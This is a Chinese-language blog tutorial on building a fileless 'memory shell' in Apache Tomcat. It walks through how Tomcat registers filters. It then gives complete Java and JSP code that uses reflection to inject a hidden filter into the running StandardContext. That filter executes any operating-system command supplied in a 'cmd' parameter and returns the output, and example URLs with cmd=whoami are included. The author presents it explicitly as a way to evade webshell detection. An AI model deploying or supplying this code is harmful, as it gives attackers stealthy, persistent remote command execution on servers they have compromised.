手把手教你实现tomcat内存马
为什么要使用内存马
有哪些类型的内存马
如何编写内存马
为什么要使用内存马传统的webshell或以文件驻留的后门越来越容易被检测。
文件不落地,检测困难
有哪些类型的内存马根据不容的容器都有自己对应的内存马
tomcat
weblogic
等
02Tomcat Filter内存马Filter是如何被创建的
Filter是如何被执行的
Filter是如何被销毁的(内存马暂时用不到)
Tomcat启动流程从web.xml文件读取配置信息
流程1.从webxml读取配置
2.将FilterDef加入context
ContextConfig#configureContext
for(FilterDeffilter:webxml.getFilters().values()){if(filter.getAsyncSupported()==null){filter.setAsyncSupported("false");}context.addFilterDef(filter);}
1.如果filterDef == null我们需要设置三个东西
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
ApplicationContext
FilterDeffilterDef=context.findFilterDef(filterName);//Assumea"complete"FilterRegistrationisonethathasaclassand//anameif(filterDef==null){filterDef=newFilterDef();filterDef.setFilterName(filterName);context.addFilterDef(filterDef);}else{if(filterDef.getFilterName()!=null&&filterDef.getFilterClass()!=null){returnnull;}}if(filter==null){filterDef.setFilterClass(filterClass);}else{filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);}
ContextConfig#configureContext
for(FilterMapfilterMap:webxml.getFilterMappings()){context.addFilterMap(filterMap);}
ContextConfig#processAnnotationWebFilter
FilterMapfilterMap=newFilterMap();总结
1.从web.xml中读取到tomcat filter配置信息
2.将过滤器类和name对应起来(FilterDef)
3.将URLPattern和name对应起来(FilterMap)
4.将FilterDef和FilterMap加入context
Tomcat Filter初始化流程StandardContext#filterStart
ApplicationFilterConfigfilterConfig=newApplicationFilterConfig(this,entry.getValue());
filterConfigs.put(name,filterConfig);
publicbooleanfilterStart(){if(getLogger().isDebugEnabled()){getLogger().debug("Startingfilters");}//InstantiateandrecordaFilterConfigforeachdefinedfilterbooleanok=true;synchronized(filterConfigs){filterConfigs.clear();for(EntryTomcat Filter执行流程entry:filterDefs.entrySet()){Stringname=entry.getKey();if(getLogger().isDebugEnabled()){getLogger().debug("Startingfilter""+name+""");}try{ApplicationFilterConfigfilterConfig=newApplicationFilterConfig(this,entry.getValue());filterConfigs.put(name,filterConfig);}catch(Throwablet){t=ExceptionUtils.unwrapInvocationTargetException(t);ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString("standardContext.filterStart",name),t);ok=false;}}}returnok;}
通过分析Filter执行,可以知道一个Filter需要哪些基本的数据
@WebFilter(filterName="testFilter",urlPatterns="/*")publicclassMyFilterDemo1implementsFilter{@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{System.out.println("filterinit");}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("doFilter");filterChain.doFilter(servletRequest,servletResponse);}@Overridepublicvoiddestroy(){}}分析internalDoFilter
filter是一个数组
利用下标进行遍历和匹配规则
通过Filter数组或者说通过FilterChain找到第一个关键数据ApplicationFilterConfig
问题 :FilterChain是如何创建的?
创建一个FilterChainApplicationFilterChainfilterChain=ApplicationFilterFactory.createFilterChain(request,wrapper,servlet);创建过滤链:createFilterChain
publicstaticApplicationFilterChaincreateFilterChain(ServletRequestrequest,Wrapperwrapper,Servletservlet){//Ifthereisnoservlettoexecute,returnnullif(servlet==null)returnnull;//CreateandinitializeafilterchainobjectApplicationFilterChainfilterChain=null;if(requestinstanceofRequest){Requestreq=(Request)request;if(Globals.IS_SECURITY_ENABLED){//Security:DonotrecyclefilterChain=newApplicationFilterChain();}else{filterChain=(ApplicationFilterChain)req.getFilterChain();if(filterChain==null){filterChain=newApplicationFilterChain();req.setFilterChain(filterChain);}}}else{//RequestdispatcherinusefilterChain=newApplicationFilterChain();}filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());//AcquirethefiltermappingsforthisContext//获取此上下文的筛选器映射StandardContextcontext=(StandardContext)wrapper.getParent();FilterMapfilterMaps[]=context.findFilterMaps();//Iftherearenofiltermappings,wearedoneif((filterMaps==null)||(filterMaps.length==0))return(filterChain);//Acquiretheinformationwewillneedtomatchfiltermappings//获取匹配过滤器映射所需的信息DispatcherTypedispatcher=(DispatcherType)request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);StringrequestPath=null;Objectattribute=request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);if(attribute!=null){requestPath=attribute.toString();}StringservletName=wrapper.getName();//Addtherelevantpath-mappedfilterstothisfilterchain//将相关路径映射筛选器添加到此筛选器链for(inti=0;i03Java代码实现伪代码
packagecn.jl.demo;importorg.apache.catalina.Context;importorg.apache.catalina.core.ApplicationFilterConfig;importorg.apache.catalina.core.StandardContext;importorg.apache.catalina.loader.WebappClassLoaderBase;importorg.apache.tomcat.util.descriptor.web.FilterDef;importorg.apache.tomcat.util.descriptor.web.FilterMap;importorg.apache.tomcat.util.net.DispatchType;importjavax.servlet.*;importjavax.servlet.annotation.WebFilter;importjava.io.IOException;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.util.Map;@WebFilter("/*")publicclassMyFilterDemoimplementsFilter{static{try{finalStringname="jl";finalStringURLPath="/*";WebappClassLoaderBasewebappClassLoaderBase=(WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();StandardContextstandardContext=(StandardContext)webappClassLoaderBase.getResources().getContext();MyFilterDemomyFilterDemo=newMyFilterDemo();FilterDeffilterDef=newFilterDef();filterDef.setFilter(myFilterDemo);filterDef.setFilterName(name);standardContext.addFilterDef(filterDef);}catch(Exceptionex){ex.printStackTrace();}}@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("DoFilter......");Stringcmd;if((cmd=servletRequest.getParameter("cmd"))!=null){Processprocess=Runtime.getRuntime().exec(cmd);java.io.BufferedReaderbufferedReader=newjava.io.BufferedReader(newjava.io.InputStreamReader(process.getInputStream()));StringBuilderstringBuilder=newStringBuilder();Stringline;while((line=bufferedReader.readLine())!=null){stringBuilder.append(line+"\n");}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest,servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}}http://localhost:8080/xx.jsp?cmd=whoami04JSP代码分析
<%@pageimport="org.apache.catalina.core.ApplicationContext"%><%@pageimport="java.lang.reflect.Field"%><%@pageimport="org.apache.catalina.core.StandardContext"%><%@pageimport="java.util.Map"%><%@pageimport="java.io.IOException"%><%@pageimport="org.apache.tomcat.util.descriptor.web.FilterDef"%><%@pageimport="org.apache.tomcat.util.descriptor.web.FilterMap"%><%@pageimport="java.lang.reflect.Constructor"%><%@pageimport="org.apache.catalina.core.ApplicationFilterConfig"%><%@pageimport="org.apache.catalina.Context"%><%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><%//设置finalStringname="jl";//获取filterConfigsServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);MapfilterConfigs=(Map)Configs.get(standardContext);if(filterConfigs.get(name)==null){//这里实现filterFilterfilter=newFilter(){@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("DoFilter......");Stringcmd;if((cmd=servletRequest.getParameter("cmd"))!=null){Processprocess=Runtime.getRuntime().exec(cmd);java.io.BufferedReaderbufferedReader=newjava.io.BufferedReader(newjava.io.InputStreamReader(process.getInputStream()));StringBuilderstringBuilder=newStringBuilder();Stringline;while((line=bufferedReader.readLine())!=null){stringBuilder.append(line+"\n");}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest,servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}};//设置FilterDefFilterDeffilterDef=newFilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());//设置FilterMapFilterMapfilterMap=newFilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterDef(filterDef);standardContext.addFilterMapBefore(filterMap);//将FilterConfig加入FilterConfigs中Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);}%> http://localhost/filter.jsp
http://localhost/1.jsp?cmd=whoami
参考链接https://xz.aliyun.com/t/10362#toc-6
https://xz.aliyun.com/t/10696
往期回顾 01Brida入门02内网渗透-密码传递03docker利用特权模式逃逸并拿下主机
相关阅读
-
世界热推荐:今晚7:00直播丨下一个突破...
今晚19:00,Cocos视频号直播马上点击【预约】啦↓↓↓在运营了三年... -
NFT周刊|Magic Eden宣布支持Polygon网...
Block-986在NFT这样的市场,每周都会有相当多项目起起伏伏。在过去... -
环球今亮点!头条观察 | DeFi的兴衰与...
在比特币得到机构关注之后,许多财务专家预测世界将因为加密货币的... -
重新审视合作,体育Crypto的可靠关系才能双赢
Block-987即使在体育Crypto领域,人们的目光仍然集中在FTX上。随着... -
简讯:前端单元测试,更进一步
前端测试@2022如果从2014年Jest的第一个版本发布开始计算,前端开发... -
焦点热讯:刘强东这波操作秀
近日,刘强东发布京东全员信,信中提到:自2023年1月1日起,逐步为...